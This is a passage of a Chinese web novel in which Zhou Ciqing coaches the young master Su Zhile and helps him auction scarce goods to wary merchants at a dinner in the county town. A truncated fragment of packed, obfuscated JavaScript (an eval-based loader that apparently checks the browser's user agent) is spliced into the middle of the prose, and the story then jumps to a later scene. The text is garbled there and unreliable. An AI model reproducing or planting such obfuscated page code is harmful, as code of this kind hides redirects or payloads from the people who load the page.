也不是什么大事，不过周慈青养的小猪崽子在挑衅大黑，一狗一猪水火不相容罢了。 周慈青看得乐了半天。 * 两日后。 放过猪羊后，周慈青便把家里头的猪羊鸡鸭鹅犬都给锁在院内，方才慢条斯理去村口处，坐上了苏知乐的马车。 苏知乐啧啧称奇：“果真是人靠衣装马靠鞍，瞧瞧你这，哪里像是个羊倌。” 近日以来，周慈青一直在乡间放羊，于是苏知乐便抓着此事打趣。 他说的也是实话。 周慈青生得一副齐整模样，面如春晓之花，体态风流。头发虽是只用带子扎起，却穿着月白色箭袖，外头是石青色的褂子，等着玄色白底小朝靴。如此瞧来，可不真就是从哪里来的神仙公子人物么。 周慈青睨了他一眼，苏知乐心里一突。 他便敛了面上的笑，乖乖坐好，低了脑袋不作声了。 周慈青半天才同他说：“脸是门面，尤其在谈判时。你的一言一行便会让人看在眼底，是以要时时注意，不可率性而为。” 苏知乐乖乖应好。 云生乐了，他们少爷在家中可谓是混世魔王，夫人老太太是管不住的。唯有老爷和面前这位才能压住他的性子，不叫他混账。 周慈青又问：“你是如何对付吴愣子一家的？他们那俩孩子今日倒是老实。” 苏知乐面上又见得意之色，他饮了口桌上的茶，差点儿叫这路上颠簸的马车晃出茶汤来，便黑着脸搁下了茶水。 车夫扭过头便探头探脑地悻悻告罪：“少爷，前方有块石头，一时不察，叫马车压了过去。” 苏知乐摆摆手，颇为不耐：“行了行了，我已知晓。” 他扭过脖子，对周慈青说着此前还未说完的话：“他们哪里惹得起我们家呢，我昨日便叫云生说了，若是他们再敢胡咧咧，生些事端出来，便叫村长把他们撵出去。吴家村虽是他们的地儿，但村长既是一村之长，又是他们的族长，定是有些法子的。” 他略抬了抬自己的下巴，轻视道：“我家为吴家村修了地，还找来了夫子，逢年过节又为他们发些钱财。况且我也做了你同我昨日里说的，咱们坊里做工要人，要选的自是吴家村的人。可若是真得罪了我，吴家村什么也拿不到。看在利益的份上，村长便不会得罪我们。孰轻孰重，岂能分不清。如此一来，他们家便不敢再来招惹。” 周慈青笑笑：“发卖么……” 苏知乐愣了：“什么？” 周慈青摇头，笑着夸他：“你做的很好。” 苏知乐哼了两声，心里头又不免为之窃喜。 二人说笑间，马车一摇一晃便来到了县城内。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他又同这些做惯了生意们的老狐狸介绍周慈青，说是他们家中最紧要的掌柜。不论信与不信，反正苏知乐话是撂这儿了。 周慈青应酬时可比他炉火纯青，就像那鱼儿滑入了水里，三言两语便能得旁人青眼。 这不，便立马有个和他同姓的周员外跟他拉近了关系，还说他们说不准往前走个百年会是本家呢。 也是当着苏知乐的面儿不好挖人，免得生意做不成，不然早也勾搭上了。 周慈青心中也有不耐，同这些人打交道无非利益二字。面上挂张假笑，你方唱罢我登台，还不如同苏知乐这个天真公子哥儿说话。 更是不如他家长庚哥痛快。 生意人么，满肚子里的弯弯绕，心眼儿少说也有八百个。 吃喝间，这话也就入了正题。 苏知乐搁下了筷子，人都有眼色，也都放下了筷。 周慈青却闷头吃着，活像看不见似的。反正老狐狸们都不去注意他，何苦饿着自个。 苏知乐差点就失态了。 好在周慈青也不是第一回这般糟蹋他了，他哪里有什么慌得呢。 苏知乐深吸一口气，道：“各位叔伯也知，做生意讲究的便是诚信痛快，不可做那反复无常之人，我也不瞒大家，绝不扭扭捏捏藏着掖着。那些东西如今就只有我们苏家才弄得有，便是想仿制也难，且仿出来的也终究不如原版。” 此话一出，众人面色变幻莫测，却点头应是。 周慈青心中失笑，苏知乐这般作态，倒是有还几分唬人。 苏知乐紧跟着说：“我也不是那般为难人的小人，家父也在来前殷切叮嘱我，叫我好生听各位叔伯的话，不可莽撞。可那货量实在不多，又不可将方子叫出，我便想着，只能叫诸位一同在场，价高者得。且我们苏家只在封陵县贩卖，至多送送人，绝不卖出县外。至于得了这货源的叔伯要如何贩卖，去哪贩卖，作价几何，我们是一概不干涉的。” 他一口气说完了这话，便闭上了嘴，叫这群老狐狸们自个思忖去了。 有人便问：“你们家能供应多少？” 苏知乐比了个数。 “底价如何呢？” “这便看叔伯们怎么买了，总归是起自原价的。” 在场的人都不由皱紧了眉，既舍不得到嘴边的肥肉，又觉着花钱实在肉痛。 左看右瞅，又不免防着其他人。 真真叫人苦不堪言，好个滑不溜秋的小子，也不知是他的主意还是别人出的，倒是伶俐极了。